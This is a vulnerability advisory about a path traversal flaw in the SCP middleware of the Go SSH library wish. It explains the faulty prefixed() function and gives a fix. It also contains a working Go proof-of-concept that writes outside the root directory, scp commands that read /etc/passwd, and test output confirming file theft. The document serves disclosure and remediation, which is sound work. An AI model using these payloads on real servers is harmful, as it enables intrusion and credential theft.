| Gói / sản phẩm | Phiên bản bị ảnh hưởng | Phiên bản đã vá |
|---|---|---|
| charm.land/wish/v2 | < 2.0.1 | 2.0.1 |
| github.com/charmbracelet/wish | ≤ 1.4.7 | |
| wish | = 2.0.0 |
The SCP middleware in charm.land/wish/v2 is vulnerable to path traversal attacks. A malicious SCP client can read arbitrary files from the server, write arbitrary files to the server, and create directories outside the configured root directory by sending crafted filenames containing ../ sequences over the SCP protocol.
charm.land/wish/v2 — all versions through commit 72d67e6 (current main)github.com/charmbracelet/wish — likely all v1 versions (same code pattern)The fileSystemHandler.prefixed() method in scp/filesystem.go:42-48 is intended to confine all file operations to a configured root directory. However, it fails to validate that the resolved path remains within the root:
func (h *fileSystemHandler) prefixed(path string) string {
path = filepath.Clean(path)
if strings.HasPrefix(path, h.root) {
return path
}
return filepath.Join(h.root, path)
}
When path contains ../ components, filepath.Clean resolves them but does not reject them. The subsequent filepath.Join(h.root, path) produces a path that escapes the root directory.
When receiving files from a client (scp -t), filenames are parsed from the SCP protocol wire using regexes that accept arbitrary strings:
reNewFile = regexp.MustCompile(`^C(\d{4}) (\d+) (.*)$`)
reNewFolder = regexp.MustCompile(`^D(\d{4}) 0 (.*)$`)
The captured filename is used directly in filepath.Join(path, name) without sanitization (scp/copy_from_client.go:90,140), then passed to fileSystemHandler.Write() and fileSystemHandler.Mkdir(), which call prefixed() — allowing the attacker to write files and create directories anywhere on the filesystem.
When sending files to a client (scp -f), the requested path comes from the SSH command arguments (scp/scp.go:284). This path is passed to handler.Glob(), handler.NewFileEntry(), and handler.NewDirEntry(), all of which call prefixed() — allowing the attacker to read any file accessible to the server process.
Bạn đang dùng một trong các sản phẩm này? Quét site để biết có đang lộ phiên bản có lỗ hổng không.
Quét site miễn phíThe Glob method passes user input containing glob metacharacters (*, ?, [) to filepath.Glob after prefixed(), enabling enumeration of files outside the root.
All three vectors were validated with end-to-end integration tests against a real SSH server using the public wish and scp APIs.
Any server using scp.NewFileSystemHandler with scp.Middleware is affected. This is the pattern shown in the official examples/scp example:
package main
import (
"net"
"charm.land/wish/v2"
"charm.land/wish/v2/scp"
"github.com/charmbracelet/ssh"
)
func main() {
handler := scp.NewFileSystemHandler("/srv/data")
s, _ := wish.NewServer(
wish.WithAddress(net.JoinHostPort("0.0.0.0", "2222")),
wish.WithMiddleware(scp.Middleware(handler, handler)),
// Default: accepts all connections (no auth configured)
)
s.ListenAndServe()
}
An attacker crafts SCP protocol messages with ../ in the filename. This can be done with a custom SCP client or by sending raw bytes over an SSH channel. The following Go program connects to the vulnerable server and writes a file to /tmp/pwned:
package main
import (
"fmt"
"os"
gossh "golang.org/x/crypto/ssh"
)
func main() {
config := &gossh.ClientConfig{
User: "attacker",
Auth: []gossh.AuthMethod{gossh.Password("anything")},
HostKeyCallback: gossh.InsecureIgnoreHostKey(),
}
client, _ := gossh.Dial("tcp", "target:2222", config)
session, _ := client.NewSession()
// Pipe crafted SCP protocol data into stdin
stdin, _ := session.StdinPipe()
go func() {
// Wait for server's NULL ack, then send traversal payload
buf := make([]byte, 1)
session.Stdout.(interface{ Read([]byte) (int, error) }) // read ack
// File header with traversal: writes to /tmp/pwned (escaping /srv/data)
fmt.Fprintf(stdin, "C0644 12 ../../../tmp/pwned\n")
// Wait for ack
stdin.Write([]byte("hello world\n"))
stdin.Write([]byte{0}) // NULL terminator
stdin.Close()
}()
// Tell the server we're uploading to "."
session.Run("scp -t .")
}
Or equivalently using standard scp with a symlink trick, or by patching the openssh scp client to send a crafted filename.
No custom tooling needed. Standard scp passes the path directly:
# Read /etc/passwd from a server whose SCP root is /srv/data
scp -P 2222 attacker@target:../../../etc/passwd ./stolen_passwd
The server resolves ../../../etc/passwd through prefixed():
filepath.Clean("../../../etc/passwd") → "../../../etc/passwd"/srv/data, so: filepath.Join("/srv/data", "../../../etc/passwd") → "/etc/passwd"/etc/passwd are sent to the attacker.scp -P 2222 attacker@target:'../../../etc/pass*' ./
These were confirmed with integration tests using wish.NewServer, scp.Middleware, and scp.NewFileSystemHandler against temp directories. The tests created a root directory and a sibling "secret" directory, then verified files were read/written across the boundary:
=== RUN TestPathTraversalWrite
PATH TRAVERSAL CONFIRMED: file written to ".../secret/pwned" (outside root ".../scproot")
--- FAIL: TestPathTraversalWrite
=== RUN TestPathTraversalWriteRecursiveDir
PATH TRAVERSAL CONFIRMED: directory created at ".../evil_dir" (outside root ".../scproot")
PATH TRAVERSAL CONFIRMED: file written to ".../evil_dir/payload" (outside root ".../scproot")
--- FAIL: TestPathTraversalWriteRecursiveDir
=== RUN TestPathTraversalRead
PATH TRAVERSAL CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalRead
=== RUN TestPathTraversalGlob
PATH TRAVERSAL VIA GLOB CONFIRMED: read file outside root, got content: "...super-secret-password..."
--- FAIL: TestPathTraversalGlob
Tests used the real SSH handshake via golang.org/x/crypto/ssh, real SCP protocol parsing, and real filesystem operations — confirming the vulnerability is exploitable end-to-end.
An authenticated SSH user can:
authorized_keys, shell profiles, or systemd units./etc/shadow, private keys, database credentials, and application secrets.If the server uses the default authentication configuration (which accepts all connections — see wish.go:19), these attacks are exploitable by unauthenticated remote attackers.
prefixed() to enforce root containmentfunc (h *fileSystemHandler) prefixed(path string) (string, error) {
// Force path to be relative by prepending /
joined := filepath.Join(h.root, filepath.Clean("/"+path))
// Verify the result is still within root
if !strings.HasPrefix(joined, h.root+string(filepath.Separator)) && joined != h.root {
return "", fmt.Errorf("path traversal detected: %q resolves outside root", path)
}
return joined, nil
}
copy_from_client.goSCP filenames should never contain path separators or .. components:
name := match[3] // or matches[0][2] for directories
if strings.ContainsAny(name, "/\\") || name == ".." || name == "." {
return fmt.Errorf("invalid filename: %q", name)
}
info.Path in GetInfo or at the middleware entry pointinfo.Path = filepath.Clean("/" + info.Path)
Evan MORVAN (evnsh) — [email protected] (Research) Claude Haiku (formatting the report)